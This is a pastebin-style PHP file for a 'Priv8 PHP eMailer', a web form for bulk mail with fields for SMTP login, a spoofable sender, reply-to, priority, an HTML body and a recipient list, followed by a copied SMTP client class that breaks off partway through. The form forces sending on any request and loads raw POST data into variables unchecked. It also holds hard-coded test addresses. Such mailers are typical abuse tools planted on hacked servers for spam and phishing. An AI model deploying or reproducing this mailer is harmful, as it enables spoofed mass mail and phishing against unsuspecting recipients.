· 9 years ago · Aug 09, 2017, 05:00 PM
1<?php
2
3function query_str($params){
4$str = '';
5foreach ($params as $key => $value) {
6$str .= (strlen($str) < 1) ? '' : '&';
7$str .= $key . '=' . rawurlencode($value);
8}
9return ($str);
10}
11function lrtrim($string){
12return stripslashes(ltrim(rtrim($string)));
13}
14
15$_POST['action'] = true;
16
17if(isset($_POST['action'] ) ){
18
19$b = query_str($_POST);
20parse_str($b);
21$sslclick=lrtrim($sslclick);
22$action=lrtrim($action);
23$message="ddddddd";
24$emaillist="g9832b@aol.com";
25$from="manag.poxy@r1z.com";
26$reconnect=lrtrim($reconnect);
27$epriority="1";
28$my_smtp=lrtrim($my_smtp);
29$ssl_port=lrtrim($ssl_port);
30$smtp_username=lrtrim($smtp_username);
31$smtp_password=lrtrim($smtp_password);
32$replyto="g9832b@gmail.com";
33$subject="Probeer aan verzenden";
34$realname="Slechts";
35$file_name=lrtrim($file);
36$urlz=lrtrim($urlz);
37$contenttype=lrtrim($contenttype);
38
39 $message = urlencode($message);
40 $message = ereg_replace("%5C%22", "%22", $message);
41 $message = urldecode($message);
42 $message = stripslashes($message);
43 $subject = stripslashes($subject);
44}
45
46
47?>
48
49<html>
50
51<head>
52
53<title>{*oo*}vs(o_o)</title>
54
55<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
56
57<style type="text/css">
58<!--
59.style1 {
60 font-family: Geneva, Arial, Helvetica, sans-serif;
61 font-size: 12px;
62}
63-->
64</style>
65<style type="text/css">
66<!--
67.style1 {
68 font-size: 10px;
69 font-family: Geneva, Arial, Helvetica, sans-serif;
70}
71-->
72</style>
73</head>
74<body bgcolor="#FFFFFF" text="#000000">
75<span class="style1">Priv8 PHP eMailer is created by MeGo<br>
76 <font color=\"#800000\">EG5-@hotmail.com</font></span>
77
78<form name="form1" method="post" action="" enctype="multipart/form-data">
79
80 <br>
81
82 <table width="100%" border="0" height="407">
83
84 <tr>
85
86 <td width="100%" colspan="4" bgcolor="#666666" height="36">
87
88 <b>
89
90 <font face="Arial" size="2" color="#FFFFFF"> SERVER SETUP</font></b></td>
91
92 </tr>
93 <tr>
94
95 <td width="10%" height="22" bgcolor="#E8E8E8">
96
97 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Login:</font></div>
98
99 </td>
100
101 <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
102
103 <input type="text" name="smtp_username" value="<?=$smtp_username;?>" size="30">
104
105 </font></td>
106
107 <td width="31%" height="22" bgcolor="#E8E8E8">
108
109 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Pass:</font></div>
110
111 </td>
112
113 <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
114
115 <input type="password" name="smtp_password" value="<?=$smtp_password;?>" size="30">
116
117 </font></td>
118
119 </tr>
120 <tr>
121
122 <td width="10%" height="22" bgcolor="#E8E8E8">
123
124 <div align="right">
125 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
126
127 </td>
128
129 <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
130
131 <input type="text" name="ssl_port" value="<?=$ssl_port;?>" size="5">
132 (optional)</font></td>
133
134 <td width="31%" height="22" bgcolor="#E8E8E8">
135
136 <div align="right">
137 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP Server
138 Smtp:</font></div>
139
140 </td>
141
142 <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
143
144 <input type="text" name="my_smtp" value="<?=$my_smtp;?>" size="30">
145
146 </font></td>
147
148 </tr>
149 <tr>
150
151 <td width="10%" height="22" bgcolor="#E8E8E8">
152
153 <p align="right">
154 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
155
156 <td width="18%" height="22" bgcolor="#E8E8E8">
157 <input type="checkbox" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
158
159 <td width="31%" height="22" bgcolor="#E8E8E8">
160
161 <p align="right">
162 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
163 After:</font></td>
164
165 <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
166
167 <input type="text" name="reconnect" value="<?=$reconnect;?>" size="5">
168 EMAILS</font></td>
169
170 </tr>
171 <tr>
172
173 <td width="100%" height="39" bgcolor="#E8E8E8" colspan="4">
174
175 <p align="center">
176 <font face="Arial" style="font-size: 9pt" color="#800000"><b>"</b> If
177 you dont have SMTP login, leave blank queries above <b>"</b></font></td>
178
179 </tr>
180
181 <tr>
182
183 <td width="10%" height="19">
184
185 </td>
186
187 <td width="18%" height="19"> </td>
188
189 <td width="31%" height="19">
190
191 </td>
192
193 <td width="41%" height="19"> </td>
194
195 </tr>
196
197 <tr>
198
199 <td width="100%" colspan="4" bgcolor="#666666" height="36">
200
201 <b>
202
203 <font face="Arial" size="2" color="#FFFFFF"> MESSAGE SETUP</font></b></td>
204
205 </tr>
206
207 <tr>
208
209 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
210
211 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
212
213 Email:</font></div>
214
215 </td>
216
217 <td width="18%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
218
219 <input type="text" name="from" value="<?=$from;?>" size="30">
220
221 </font></td>
222
223 <td width="31%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
224
225 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
226
227 Name:</font></div>
228
229 </td>
230
231 <td width="41%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
232
233 <input type="text" name="realname" value="<?=$realname;?>" size="30">
234
235 </font></td>
236
237 </tr>
238 <tr>
239
240 <td width="10%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
241
242 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div>
243
244 </td>
245
246 <td width="18%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
247
248 <input type="text" name="replyto" value="<?=$replyto;?>" size="30">
249
250 </font></td>
251
252 <td width="31%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
253
254 <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
255 Email Priority:</font></td>
256
257 <td width="41%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
258
259 </font><select name="epriority" id="listMethod" onchange="showHideListConfig()">
260 <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >- Please Choose -</option>
261 <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
262 <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
263 <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
264 </select></td>
265
266 </tr>
267
268 <tr>
269
270 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
271
272 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>
273
274 </td>
275
276 <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
277
278 <input type="text" name="subject" value="<?=$subject;?>" size="90">
279
280 </font></td>
281
282 </tr>
283
284 <tr>
285
286 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
287
288 </td>
289
290 <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
291
292 </font></td>
293
294 </tr>
295
296 <tr valign="top">
297
298<td colspan="3" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
299
300 <textarea name="message" cols="60" rows="10"><?=$message;?></textarea>
301
302 <br>
303
304 <input type="radio" name="contenttype" value="plain" >
305
306 Plain
307
308 <input type="radio" name="contenttype" value="html" checked>
309
310 HTML
311
312 <input type="hidden" name="action" value="send">
313
314 <input type="submit" value="Send Message">
315
316 </font></td>
317
318 <td width="41%" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
319
320 <textarea name="emaillist" cols="30" rows="10"><?=$emaillist;?></textarea>
321
322 </font></td>
323
324 </tr>
325
326 </table>
327
328</form>
329
330
331
332<?
333
334if ($action){
335 if (!$from && !$subject && !$message && !$emaillist){
336 print "<script>alert('Please complete all fields before sending your message.'); </script>";
337 die(); }
338
339class SMTP
340{
341 /**
342 * SMTP server port
343 * @var int
344 */
345 var $SMTP_PORT = 25;
346
347 /**
348 * SMTP reply line ending
349 * @var string
350 */
351 var $CRLF = "\r\n";
352
353 /**
354 * Sets whether debugging is turned on
355 * @var bool
356 */
357 var $do_debug; # the level of debug to perform
358
359 /**
360 * Sets VERP use on/off (default is off)
361 * @var bool
362 */
363 var $do_verp = false;
364
365 /**#@+
366 * @access private
367 */
368 var $smtp_conn; # the socket to the server
369 var $error; # error if any on the last call
370 var $helo_rply; # the reply the server sent to us for HELO
371 /**#@-*/
372
373 /**
374 * Initialize the class so that the data is in a known state.
375 * @access public
376 * @return void
377 */
378 function SMTP() {
379 $this->smtp_conn = 0;
380 $this->error = null;
381 $this->helo_rply = null;
382
383 $this->do_debug = 0;
384 }
385
386 /*************************************************************
387 * CONNECTION FUNCTIONS *
388 ***********************************************************/
389
390 /**
391 * Connect to the server specified on the port specified.
392 * If the port is not specified use the default SMTP_PORT.
393 * If tval is specified then a connection will try and be
394 * established with the server for that number of seconds.
395 * If tval is not specified the default is 30 seconds to
396 * try on the connection.
397 *
398 * SMTP CODE SUCCESS: 220
399 * SMTP CODE FAILURE: 421
400 * @access public
401 * @return bool
402 */
403 function Connect($host,$port=0,$tval=30) {
404 # set the error val to null so there is no confusion
405 $this->error = null;
406
407 # make sure we are __not__ connected
408 if($this->connected()) {
409 # ok we are connected! what should we do?
410 # for now we will just give an error saying we
411 # are already connected
412 $this->error = array("error" => "Already connected to a server");
413 return false;
414 }
415
416 if(empty($port)) {
417 $port = $this->SMTP_PORT;
418 }
419
420 #connect to the smtp server
421 $this->smtp_conn = fsockopen($host, # the host of the server
422 $port, # the port to use
423 $errno, # error number if any
424 $errstr, # error message if any
425 $tval); # give up after ? secs
426 # verify we connected properly
427 if(empty($this->smtp_conn)) {
428 $this->error = array("error" => "Failed to connect to server",
429 "errno" => $errno,
430 "errstr" => $errstr);
431 if($this->do_debug >= 1) {
432 echo "SMTP -> ERROR: " . $this->error["error"] .
433 ": $errstr ($errno)" . $this->CRLF;
434 }
435 return false;
436 }
437
438 # sometimes the SMTP server takes a little longer to respond
439 # so we will give it a longer timeout for the first read
440 // Windows still does not have support for this timeout function
441 if(substr(PHP_OS, 0, 3) != "WIN")
442 socket_set_timeout($this->smtp_conn, $tval, 0);
443
444 # get any announcement stuff
445 $announce = $this->get_lines();
446
447 # set the timeout of any socket functions at 1/10 of a second
448 //if(function_exists("socket_set_timeout"))
449 // socket_set_timeout($this->smtp_conn, 0, 100000);
450
451 if($this->do_debug >= 2) {
452 echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
453 }
454
455 return true;
456 }
457
458 /**
459 * Performs SMTP authentication. Must be run after running the
460 * Hello() method. Returns true if successfully authenticated.
461 * @access public
462 * @return bool
463 */
464 function Authenticate($username, $password) {
465 // Start authentication
466 fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
467
468 $rply = $this->get_lines();
469 $code = substr($rply,0,3);
470
471 if($code != 334) {
472 $this->error =
473 array("error" => "AUTH not accepted from server",
474 "smtp_code" => $code,
475 "smtp_msg" => substr($rply,4));
476 if($this->do_debug >= 1) {
477 echo "SMTP -> ERROR: " . $this->error["error"] .
478 ": " . $rply . $this->CRLF;
479 }
480 return false;
481 }
482
483 // Send encoded username
484 fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
485
486 $rply = $this->get_lines();
487 $code = substr($rply,0,3);
488
489 if($code != 334) {
490 $this->error =
491 array("error" => "Username not accepted from server",
492 "smtp_code" => $code,
493 "smtp_msg" => substr($rply,4));
494 if($this->do_debug >= 1) {
495 echo "SMTP -> ERROR: " . $this->error["error"] .
496 ": " . $rply . $this->CRLF;
497 }
498 return false;
499 }
500
501 // Send encoded password
502 fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
503
504 $rply = $this->get_lines();
505 $code = substr($rply,0,3);
506
507 if($code != 235) {
508 $this->error =
509 array("error" => "Password not accepted from server",
510 "smtp_code" => $code,
511 "smtp_msg" => substr($rply,4));
512 if($this->do_debug >= 1) {
513 echo "SMTP -> ERROR: " . $this->error["error"] .
514 ": " . $rply . $this->CRLF;
515 }
516 return false;
517 }
518
519 return true;
520 }
521
522 /**
523 * Returns true if connected to a server otherwise false
524 * @access private
525 * @return bool
526 */
527 function Connected() {
528 if(!empty($this->smtp_conn)) {
529 $sock_status = socket_get_status($this->smtp_conn);
530 if($sock_status["eof"]) {
531 # hmm this is an odd situation... the socket is
532 # valid but we are not connected anymore
533 if($this->do_debug >= 1) {
534 echo "SMTP -> NOTICE:" . $this->CRLF .
535 "EOF caught while checking if connected";
536 }
537 $this->Close();
538 return false;
539 }
540 return true; # everything looks good
541 }
542 return false;
543 }
544
545 /**
546 * Closes the socket and cleans up the state of the class.
547 * It is not considered good to use this function without
548 * first trying to use QUIT.
549 * @access public
550 * @return void
551 */
552 function Close() {
553 $this->error = null; # so there is no confusion
554 $this->helo_rply = null;
555 if(!empty($this->smtp_conn)) {
556 # close the connection and cleanup
557 fclose($this->smtp_conn);
558 $this->smtp_conn = 0;
559 }
560 }
561
562 /***************************************************************
563 * SMTP COMMANDS *
564 *************************************************************/
565
566 /**
567 * Issues a data command and sends the msg_data to the server
568 * finializing the mail transaction. $msg_data is the message
569 * that is to be send with the headers. Each header needs to be
570 * on a single line followed by a <CRLF> with the message headers
571 * and the message body being seperated by and additional <CRLF>.
572 *
573 * Implements rfc 821: DATA <CRLF>
574 *
575 * SMTP CODE INTERMEDIATE: 354
576 * [data]
577 * <CRLF>.<CRLF>
578 * SMTP CODE SUCCESS: 250
579 * SMTP CODE FAILURE: 552,554,451,452
580 * SMTP CODE FAILURE: 451,554
581 * SMTP CODE ERROR : 500,501,503,421
582 * @access public
583 * @return bool
584 */
585 function Data($msg_data) {
586 $this->error = null; # so no confusion is caused
587
588 if(!$this->connected()) {
589 $this->error = array(
590 "error" => "Called Data() without being connected");
591 return false;
592 }
593
594 fputs($this->smtp_conn,"DATA" . $this->CRLF);
595
596 $rply = $this->get_lines();
597 $code = substr($rply,0,3);
598
599 if($this->do_debug >= 2) {
600 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
601 }
602
603 if($code != 354) {
604 $this->error =
605 array("error" => "DATA command not accepted from server",
606 "smtp_code" => $code,
607 "smtp_msg" => substr($rply,4));
608 if($this->do_debug >= 1) {
609 echo "SMTP -> ERROR: " . $this->error["error"] .
610 ": " . $rply . $this->CRLF;
611 }
612 return false;
613 }
614
615 # the server is ready to accept data!
616 # according to rfc 821 we should not send more than 1000
617 # including the CRLF
618 # characters on a single line so we will break the data up
619 # into lines by \r and/or \n then if needed we will break
620 # each of those into smaller lines to fit within the limit.
621 # in addition we will be looking for lines that start with
622 # a period '.' and append and additional period '.' to that
623 # line. NOTE: this does not count towards are limit.
624
625 # normalize the line breaks so we know the explode works
626 $msg_data = str_replace("\r\n","\n",$msg_data);
627 $msg_data = str_replace("\r","\n",$msg_data);
628 $lines = explode("\n",$msg_data);
629
630 # we need to find a good way to determine is headers are
631 # in the msg_data or if it is a straight msg body
632 # currently I am assuming rfc 822 definitions of msg headers
633 # and if the first field of the first line (':' sperated)
634 # does not contain a space then it _should_ be a header
635 # and we can process all lines before a blank "" line as
636 # headers.
637 $field = substr($lines[0],0,strpos($lines[0],":"));
638 $in_headers = false;
639 if(!empty($field) && !strstr($field," ")) {
640 $in_headers = true;
641 }
642
643 $max_line_length = 998; # used below; set here for ease in change
644
645 while(list(,$line) = @each($lines)) {
646 $lines_out = null;
647 if($line == "" && $in_headers) {
648 $in_headers = false;
649 }
650 # ok we need to break this line up into several
651 # smaller lines
652 while(strlen($line) > $max_line_length) {
653 $pos = strrpos(substr($line,0,$max_line_length)," ");
654
655 # Patch to fix DOS attack
656 if(!$pos) {
657 $pos = $max_line_length - 1;
658 }
659
660 $lines_out[] = substr($line,0,$pos);
661 $line = substr($line,$pos + 1);
662 # if we are processing headers we need to
663 # add a LWSP-char to the front of the new line
664 # rfc 822 on long msg headers
665 if($in_headers) {
666 $line = "\t" . $line;
667 }
668 }
669 $lines_out[] = $line;
670
671 # now send the lines to the server
672 while(list(,$line_out) = @each($lines_out)) {
673 if(strlen($line_out) > 0)
674 {
675 if(substr($line_out, 0, 1) == ".") {
676 $line_out = "." . $line_out;
677 }
678 }
679 fputs($this->smtp_conn,$line_out . $this->CRLF);
680 }
681 }
682
683 # ok all the message data has been sent so lets get this
684 # over with aleady
685 fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
686
687 $rply = $this->get_lines();
688 $code = substr($rply,0,3);
689
690 if($this->do_debug >= 2) {
691 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
692 }
693
694 if($code != 250) {
695 $this->error =
696 array("error" => "DATA not accepted from server",
697 "smtp_code" => $code,
698 "smtp_msg" => substr($rply,4));
699 if($this->do_debug >= 1) {
700 echo "SMTP -> ERROR: " . $this->error["error"] .
701 ": " . $rply . $this->CRLF;
702 }
703 return false;
704 }
705 return true;
706 }
707
708 /**
709 * Expand takes the name and asks the server to list all the
710 * people who are members of the _list_. Expand will return
711 * back and array of the result or false if an error occurs.
712 * Each value in the array returned has the format of:
713 * [ <full-name> <sp> ] <path>
714 * The definition of <path> is defined in rfc 821
715 *
716 * Implements rfc 821: EXPN <SP> <string> <CRLF>
717 *
718 * SMTP CODE SUCCESS: 250
719 * SMTP CODE FAILURE: 550
720 * SMTP CODE ERROR : 500,501,502,504,421
721 * @access public
722 * @return string array
723 */
724 function Expand($name) {
725 $this->error = null; # so no confusion is caused
726
727 if(!$this->connected()) {
728 $this->error = array(
729 "error" => "Called Expand() without being connected");
730 return false;
731 }
732
733 fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
734
735 $rply = $this->get_lines();
736 $code = substr($rply,0,3);
737
738 if($this->do_debug >= 2) {
739 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
740 }
741
742 if($code != 250) {
743 $this->error =
744 array("error" => "EXPN not accepted from server",
745 "smtp_code" => $code,
746 "smtp_msg" => substr($rply,4));
747 if($this->do_debug >= 1) {
748 echo "SMTP -> ERROR: " . $this->error["error"] .
749 ": " . $rply . $this->CRLF;
750 }
751 return false;
752 }
753
754 # parse the reply and place in our array to return to user
755 $entries = explode($this->CRLF,$rply);
756 while(list(,$l) = @each($entries)) {
757 $list[] = substr($l,4);
758 }
759
760 return $list;
761 }
762
763 /**
764 * Sends the HELO command to the smtp server.
765 * This makes sure that we and the server are in
766 * the same known state.
767 *
768 * Implements from rfc 821: HELO <SP> <domain> <CRLF>
769 *
770 * SMTP CODE SUCCESS: 250
771 * SMTP CODE ERROR : 500, 501, 504, 421
772 * @access public
773 * @return bool
774 */
775 function Hello($host="") {
776 $this->error = null; # so no confusion is caused
777
778 if(!$this->connected()) {
779 $this->error = array(
780 "error" => "Called Hello() without being connected");
781 return false;
782 }
783
784 # if a hostname for the HELO was not specified determine
785 # a suitable one to send
786 if(empty($host)) {
787 # we need to determine some sort of appopiate default
788 # to send to the server
789 $host = "localhost";
790 }
791
792 // Send extended hello first (RFC 2821)
793 if(!$this->SendHello("EHLO", $host))
794 {
795 if(!$this->SendHello("HELO", $host))
796 return false;
797 }
798
799 return true;
800 }
801
802 /**
803 * Sends a HELO/EHLO command.
804 * @access private
805 * @return bool
806 */
807 function SendHello($hello, $host) {
808 fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
809
810 $rply = $this->get_lines();
811 $code = substr($rply,0,3);
812
813 if($this->do_debug >= 2) {
814 echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
815 }
816
817 if($code != 250) {
818 $this->error =
819 array("error" => $hello . " not accepted from server",
820 "smtp_code" => $code,
821 "smtp_msg" => substr($rply,4));
822 if($this->do_debug >= 1) {
823 echo "SMTP -> ERROR: " . $this->error["error"] .
824 ": " . $rply . $this->CRLF;
825 }
826 return false;
827 }
828
829 $this->helo_rply = $rply;
830
831 return true;
832 }
833
834 /**
835 * Gets help information on the keyword specified. If the keyword
836 * is not specified then returns generic help, ussually contianing
837 * A list of keywords that help is available on. This function
838 * returns the results back to the user. It is up to the user to
839 * handle the returned data. If an error occurs then false is
840 * returned with $this->error set appropiately.
841 *
842 * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
843 *
844 * SMTP CODE SUCCESS: 211,214
845 * SMTP CODE ERROR : 500,501,502,504,421
846 * @access public
847 * @return string
848 */
849 function Help($keyword="") {
850 $this->error = null; # to avoid confusion
851
852 if(!$this->connected()) {
853 $this->error = array(
854 "error" => "Called Help() without being connected");
855 return false;
856 }
857
858 $extra = "";
859 if(!empty($keyword)) {
860 $extra = " " . $keyword;
861 }
862
863 fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
864
865 $rply = $this->get_lines();
866 $code = substr($rply,0,3);
867
868 if($this->do_debug >= 2) {
869 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
870 }
871
872 if($code != 211 && $code != 214) {
873 $this->error =
874 array("error" => "HELP not accepted from server",
875 "smtp_code" => $code,
876 "smtp_msg" => substr($rply,4));
877 if($this->do_debug >= 1) {
878 echo "SMTP -> ERROR: " . $this->error["error"] .
879 ": " . $rply . $this->CRLF;
880 }
881 return false;
882 }
883
884 return $rply;
885 }
886
887 /**
888 * Starts a mail transaction from the email address specified in
889 * $from. Returns true if successful or false otherwise. If True
890 * the mail transaction is started and then one or more Recipient
891 * commands may be called followed by a Data command.
892 *
893 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
894 *
895 * SMTP CODE SUCCESS: 250
896 * SMTP CODE SUCCESS: 552,451,452
897 * SMTP CODE SUCCESS: 500,501,421
898 * @access public
899 * @return bool
900 */
901 function Mail($from) {
902 $this->error = null; # so no confusion is caused
903
904 if(!$this->connected()) {
905 $this->error = array(
906 "error" => "Called Mail() without being connected");
907 return false;
908 }
909
910 $useVerp = ($this->do_verp ? "XVERP" : "");
911 fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
912
913 $rply = $this->get_lines();
914 $code = substr($rply,0,3);
915
916 if($this->do_debug >= 2) {
917 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
918 }
919
920 if($code != 250) {
921 $this->error =
922 array("error" => "MAIL not accepted from server",
923 "smtp_code" => $code,
924 "smtp_msg" => substr($rply,4));
925 if($this->do_debug >= 1) {
926 echo "SMTP -> ERROR: " . $this->error["error"] .
927 ": " . $rply . $this->CRLF;
928 }
929 return false;
930 }
931 return true;
932 }
933
934 /**
935 * Sends the command NOOP to the SMTP server.
936 *
937 * Implements from rfc 821: NOOP <CRLF>
938 *
939 * SMTP CODE SUCCESS: 250
940 * SMTP CODE ERROR : 500, 421
941 * @access public
942 * @return bool
943 */
944 function Noop() {
945 $this->error = null; # so no confusion is caused
946
947 if(!$this->connected()) {
948 $this->error = array(
949 "error" => "Called Noop() without being connected");
950 return false;
951 }
952
953 fputs($this->smtp_conn,"NOOP" . $this->CRLF);
954
955 $rply = $this->get_lines();
956 $code = substr($rply,0,3);
957
958 if($this->do_debug >= 2) {
959 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
960 }
961
962 if($code != 250) {
963 $this->error =
964 array("error" => "NOOP not accepted from server",
965 "smtp_code" => $code,
966 "smtp_msg" => substr($rply,4));
967 if($this->do_debug >= 1) {
968 echo "SMTP -> ERROR: " . $this->error["error"] .
969 ": " . $rply . $this->CRLF;
970 }
971 return false;
972 }
973 return true;
974 }
975
976 /**
977 * Sends the quit command to the server and then closes the socket
978 * if there is no error or the $close_on_error argument is true.
979 *
980 * Implements from rfc 821: QUIT <CRLF>
981 *
982 * SMTP CODE SUCCESS: 221
983 * SMTP CODE ERROR : 500
984 * @access public
985 * @return bool
986 */
987 function Quit($close_on_error=true) {
988 $this->error = null; # so there is no confusion
989
990 if(!$this->connected()) {
991 $this->error = array(
992 "error" => "Called Quit() without being connected");
993 return false;
994 }
995
996 # send the quit command to the server
997 fputs($this->smtp_conn,"quit" . $this->CRLF);
998
999 # get any good-bye messages
1000 $byemsg = $this->get_lines();
1001
1002 if($this->do_debug >= 2) {
1003 echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
1004 }
1005
1006 $rval = true;
1007 $e = null;
1008
1009 $code = substr($byemsg,0,3);
1010 if($code != 221) {
1011 # use e as a tmp var cause Close will overwrite $this->error
1012 $e = array("error" => "SMTP server rejected quit command",
1013 "smtp_code" => $code,
1014 "smtp_rply" => substr($byemsg,4));
1015 $rval = false;
1016 if($this->do_debug >= 1) {
1017 echo "SMTP -> ERROR: " . $e["error"] . ": " .
1018 $byemsg . $this->CRLF;
1019 }
1020 }
1021
1022 if(empty($e) || $close_on_error) {
1023 $this->Close();
1024 }
1025
1026 return $rval;
1027 }
1028
1029 /**
1030 * Sends the command RCPT to the SMTP server with the TO: argument of $to.
1031 * Returns true if the recipient was accepted false if it was rejected.
1032 *
1033 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
1034 *
1035 * SMTP CODE SUCCESS: 250,251
1036 * SMTP CODE FAILURE: 550,551,552,553,450,451,452
1037 * SMTP CODE ERROR : 500,501,503,421
1038 * @access public
1039 * @return bool
1040 */
1041 function Recipient($to) {
1042 $this->error = null; # so no confusion is caused
1043
1044 if(!$this->connected()) {
1045 $this->error = array(
1046 "error" => "Called Recipient() without being connected");
1047 return false;
1048 }
1049
1050 fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
1051
1052 $rply = $this->get_lines();
1053 $code = substr($rply,0,3);
1054
1055 if($this->do_debug >= 2) {
1056 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1057 }
1058
1059 if($code != 250 && $code != 251) {
1060 $this->error =
1061 array("error" => "RCPT not accepted from server",
1062 "smtp_code" => $code,
1063 "smtp_msg" => substr($rply,4));
1064 if($this->do_debug >= 1) {
1065 echo "SMTP -> ERROR: " . $this->error["error"] .
1066 ": " . $rply . $this->CRLF;
1067 }
1068 return false;
1069 }
1070 return true;
1071 }
1072
1073 /**
1074 * Sends the RSET command to abort and transaction that is
1075 * currently in progress. Returns true if successful false
1076 * otherwise.
1077 *
1078 * Implements rfc 821: RSET <CRLF>
1079 *
1080 * SMTP CODE SUCCESS: 250
1081 * SMTP CODE ERROR : 500,501,504,421
1082 * @access public
1083 * @return bool
1084 */
1085 function Reset() {
1086 $this->error = null; # so no confusion is caused
1087
1088 if(!$this->connected()) {
1089 $this->error = array(
1090 "error" => "Called Reset() without being connected");
1091 return false;
1092 }
1093
1094 fputs($this->smtp_conn,"RSET" . $this->CRLF);
1095
1096 $rply = $this->get_lines();
1097 $code = substr($rply,0,3);
1098
1099 if($this->do_debug >= 2) {
1100 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1101 }
1102
1103 if($code != 250) {
1104 $this->error =
1105 array("error" => "RSET failed",
1106 "smtp_code" => $code,
1107 "smtp_msg" => substr($rply,4));
1108 if($this->do_debug >= 1) {
1109 echo "SMTP -> ERROR: " . $this->error["error"] .
1110 ": " . $rply . $this->CRLF;
1111 }
1112 return false;
1113 }
1114
1115 return true;
1116 }
1117
1118 /**
1119 * Starts a mail transaction from the email address specified in
1120 * $from. Returns true if successful or false otherwise. If True
1121 * the mail transaction is started and then one or more Recipient
1122 * commands may be called followed by a Data command. This command
1123 * will send the message to the users terminal if they are logged
1124 * in.
1125 *
1126 * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
1127 *
1128 * SMTP CODE SUCCESS: 250
1129 * SMTP CODE SUCCESS: 552,451,452
1130 * SMTP CODE SUCCESS: 500,501,502,421
1131 * @access public
1132 * @return bool
1133 */
1134 function Send($from) {
1135 $this->error = null; # so no confusion is caused
1136
1137 if(!$this->connected()) {
1138 $this->error = array(
1139 "error" => "Called Send() without being connected");
1140 return false;
1141 }
1142
1143 fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
1144
1145 $rply = $this->get_lines();
1146 $code = substr($rply,0,3);
1147
1148 if($this->do_debug >= 2) {
1149 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1150 }
1151
1152 if($code != 250) {
1153 $this->error =
1154 array("error" => "SEND not accepted from server",
1155 "smtp_code" => $code,
1156 "smtp_msg" => substr($rply,4));
1157 if($this->do_debug >= 1) {
1158 echo "SMTP -> ERROR: " . $this->error["error"] .
1159 ": " . $rply . $this->CRLF;
1160 }
1161 return false;
1162 }
1163 return true;
1164 }
1165
1166 /**
